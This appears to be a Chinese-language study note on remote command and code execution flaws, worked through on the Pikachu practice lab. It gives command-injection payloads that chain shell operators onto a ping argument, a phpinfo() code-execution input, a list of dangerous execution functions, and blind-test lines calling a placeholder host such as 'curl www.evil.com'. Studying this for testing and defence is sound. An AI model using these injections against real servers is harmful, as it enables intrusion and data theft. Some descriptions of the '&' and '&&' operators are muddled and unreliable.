RCE漏洞
概述
后台提供了运行系统指令或者代码的接口,并且未对输入的数据进行过滤等处理,让攻击者可以直接向后台注入操作系统命令或者代码,进而控制后台。
实例
pikachu平台:
-
rce-ping
提供了调用操作系统ping指令的接口。
payload:通过管道符拼接其他操作系统指令
显示出后端服务器的当前文件列表等信息。可通过其他指令拼接完成对后台文件的修改。 -
rce-exec
提供了代码执行的接口。
输入phpinfo();
显示出后端php信息。
常用的管道符
Windows:
"|": 直接执行后面的语句。 如ping 127.0.0.1 | dir 直接执行dir。
"||": 如果前面执行的语句出错,则执行后面的语句。 如ping 2 || dir 会执行dir
"&": 如果前面的语句为假则执行后面的语句,前面的语句可真可假。
"&&": 如果前面的语句为假则出错,也不执行后面的语句,前面的语句只能为真。
Linux:
";": 执行完前面的再执行后面的。
"|": 显示后面的语句的执行结果。
"||": 如果前面的语句执行出错,则执行后面的语句。
"&": 如果前面的语句为假则执行后面的语句,前面的语句可真可假。
"&&": 如果前面的语句为假则出错,也不执行后面的语句,前面的语句只能为真。
不同语言的命令执行函数
php
- system
- exec
- passthru
- proc_open
- shell_exec
python
- exec
- execfile
- eval
java
- Runtime.getRuntime().exec()
linux系统下的payload
测试无回显的命令执行一般采用dns请求和http请求来判断命令是否正确执行
curl www.evil.com
ping www.evil.com
wget www.evil.com